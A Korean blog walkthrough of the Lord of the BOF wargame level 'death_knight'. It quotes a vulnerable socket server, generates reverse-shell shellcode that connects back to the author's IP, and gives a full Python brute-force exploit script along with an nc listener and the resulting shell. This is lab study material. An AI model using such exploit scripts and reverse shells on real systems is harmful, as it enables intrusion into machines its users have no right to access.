LOB xavius => death_knight

c0wb3ll ㅣ 2020. 4. 14. 16:55

LOB xavius => death_knight

문제

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
    char buffer[40];

    int server_fd, client_fd;  
    struct sockaddr_in server_addr;   
    struct sockaddr_in client_addr; 
    int sin_size;

    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }

    server_addr.sin_family = AF_INET;        
    server_addr.sin_port = htons(6666);   
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    bzero(&(server_addr.sin_zero), 8);   

    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }

    if(listen(server_fd, 10) == -1){
        perror("listen");
        exit(1);
    }

    while(1) {  
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }

        if (!fork()){ 
            send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
            send(client_fd, "You : ", 6, 0);
            recv(client_fd, buffer, 256, 0);
            close(client_fd);
            break;
        }

        close(client_fd);  
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}

[xavius@localhost xavius]$ 

허... 소스코드를 보니 절망이 몰려온다.

6666번 포트로 통신하는 소켓 프로그램이다.

if(!fork())에서 pid가 다른 같은 프로그램이 실행되면 fork()함수는 0을 반환하니 참으로 만들어 주려고 !를 붙인거 같다. 암튼 그렇게 해서 프로세스가 생성되면 데스나이트와 대화를 하는 프로그램인거 같다.


문제

buffer의 크기는 40이지만 recv함수로 받는 byte의 크기는 256이다. 따라서 BOF가 발생하는데.... 프로그램을 통해 쉘을 따봤자 네트워크 상에 쉘이 따져 내가 할 수 있는것이 없다. 따라서 remote BOF라고 써진대로 바인드 쉘 또는 리버스 쉘을 통해 쉘을 따야한다고 한다. 공부가 많이 필요할 것 같다.

나는 리버스 쉘코드를 통해 쉘을 따려고 한다.

c0wb3ll@kali:~/Desktop$ nc -lvp 4444
listening on [any] 4444 ...

우선 netcat을 통하여 서버를 열어둔다. 이때 통신 포트는 1024~65535중 아무거나 사용하면 된다.

이제 다른 터미널을 켜서 쉘을 따기 위한 작업을 시작하자.

그리고 사용할 쉘코드는 gdb-peda를 통하여 생성하였다.

c0wb3ll@kali:~/Desktop$ /sbin/ifconfig 
eth0: 
        inet 192.168.193.133

내 ip는 다음과 같았고 이 아이피와 통신하기 위한 쉘코드를 만들어야 하는데 이를 peda의 힘을 빌렸다.

gdb-peda$ shellcode generate x86/linux connect 4444 192.168.193.133
# x86/linux/connect: 70 bytes
# port=4444, host=192.168.193.133
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\xc1\x85\x66\x68"
    "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

이와 같이 peda에서 shellcode generate x86/linux connect [port] [ip] 명령어를 쳐주면 쉘코드를 생성해준다.

import sys
import struct
from socket import *

p32 = lambda x: struct.pack('<L',x)

host = "192.168.193.128"
port = 6666

shellcode = (
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\xc1\x85\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
        )

for i in range(0xbfff0000, 0xbfffffff, 10):
    r = socket(AF_INET, SOCK_STREAM)
    r.connect((host,port))

    print "Addr : %s"%hex(i)

    payload = "A"*44
    payload += p32(i)
    payload += "\x90"*100
    payload += shellcode

    print r.recv(52),
    print r.recv(6)
    r.send(payload)
    r.close()

다음과 같이 payload를 짜주자.

p32변수는 람다 함수를 이용하여 들어온 스택 주소를 리틀엔디언으로 바꿔주는 역할을 한다.

쉘코드는 아까 peda의 힘을 빌려 생성한 것을 사용하면 되며, remote attack은 보통 대상 서버의 정확한 return address를 알기 힘든경우가 많아 brute force 어택을 통해 때려 맞춘다고 한다.

payload는 말그대로 페이로드이다. 'A' 44개와 때려 맞출 리턴 어드레스, 그리고 놉 슬레드를 이용한 쉘코드이다.

서버에서 대화내용을 받고 페이로드를 보내고 종료하는 payload를 복붙해왔따 ㅎㅎ;;;;

다른 사람들도 풀 때 위 코드를 가져다가 host ip와 port 쉘코드만 변경하여 사용하면 된다.

그럼 이 프로그램을 실행시켜 보자.

Addr : 0xbffff37a
Death Knight : Not even death can save you from me!
You : 
Addr : 0xbffff384
Death Knight : Not even death can save you from me!
You : 
Addr : 0xbffff38e
Death Knight : Not even death can save you from me!
You : 
Addr : 0xbffff398
Death Knight : Not even death can save you from me!
You : 
Addr : 0xbffff3a2
Death Knight : Not even death can save you from me!
You : 

그럼 다음과 같이 열심히 노가다를 뛰기 시작한다. 그냥 기다려도 좋지만 제대로 연결 되어있는지 확인하지 못하면 시간만 날릴 수 있으니 다음과 같이 ping을 확인해보자.

[xavius@localhost xavius]$ ping 192.168.193.133
PING 192.168.193.133 (192.168.193.133) from 192.168.193.128 : 56(84) bytes of data.
64 bytes from 192.168.193.133: icmp_seq=0 ttl=64 time=0.5 ms
64 bytes from 192.168.193.133: icmp_seq=1 ttl=64 time=0.3 ms
64 bytes from 192.168.193.133: icmp_seq=2 ttl=64 time=0.3 ms
64 bytes from 192.168.193.133: icmp_seq=3 ttl=64 time=0.3 ms
64 bytes from 192.168.193.133: icmp_seq=4 ttl=64 time=0.3 ms

정상적인 노가다를 뛰고 있다. 그럼 이제 밥을 먹고 오자(?)

c0wb3ll@kali:~/Desktop$ nc -lvp 4444
listening on [any] 4444 ...
192.168.193.128: inverse host lookup failed: Unknown host
connect to [192.168.193.133] from (UNKNOWN) [192.168.193.128] 1052

그럼 다음과 같이 연결되었다는 메시지가 떠있을 것이다.

id를 확인해보면

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

오! death_knight의 쉘을 성공적으로 땃다.


음...

아직 완전한 이해를 하지 못해서 찝찝하다... 앞으로도 열심히 해서 후에 다시 이 글을 보았을 때 보충해서 글을 쓸 수 있도록 하자.